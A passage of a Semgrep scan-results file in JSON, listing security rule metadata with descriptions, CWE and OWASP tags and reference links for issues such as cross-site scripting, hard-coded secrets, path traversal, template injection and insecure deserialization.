read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","id":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","name":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","id":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","name":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response","id":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","name":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","id":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","name":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n - [https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string","id":"python.flask.security.dangerous-template-string.dangerous-template-string","name":"python.flask.security.dangerous-template-string.dangerous-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.dangerous-template-string.dangerous-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","id":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","name":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic API Key detected"},"help":{"markdown":"Generic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key)\n - [https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json](https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json)\n","text":"Generic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key","id":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","name":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-api-key.detected-generic-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","id":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","name":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"help":{"markdown":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","id":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","name":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","properties":{"precision":"very-high","tags":["CWE-259: Use of Hard-coded Password","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use","id":"python.lang.security.dangerous-globals-use.dangerous-globals-use","name":"python.lang.security.dangerous-globals-use.dangerous-globals-use","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-globals-use.dangerous-globals-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask","id":"python.flask.debug.debug-flask.active-debug-code-flask","name":"python.flask.debug.debug-flask.active-debug-code-flask","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask.active-debug-code-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"help":{"markdown":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions)\n - [https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole)\n - [https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups)\n","text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","id":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","name":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)\n - [https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format","id":"python.flask.security.injection.raw-html-concat.raw-html-format","name":"python.flask.security.injection.raw-html-concat.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.raw-html-concat.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","id":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","name":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django","id":"python.django.db.pymongo-django.pymongo-django","name":"python.django.db.pymongo-django.pymongo-django","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.pymongo-django.pymongo-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","id":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","name":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","id":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","name":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 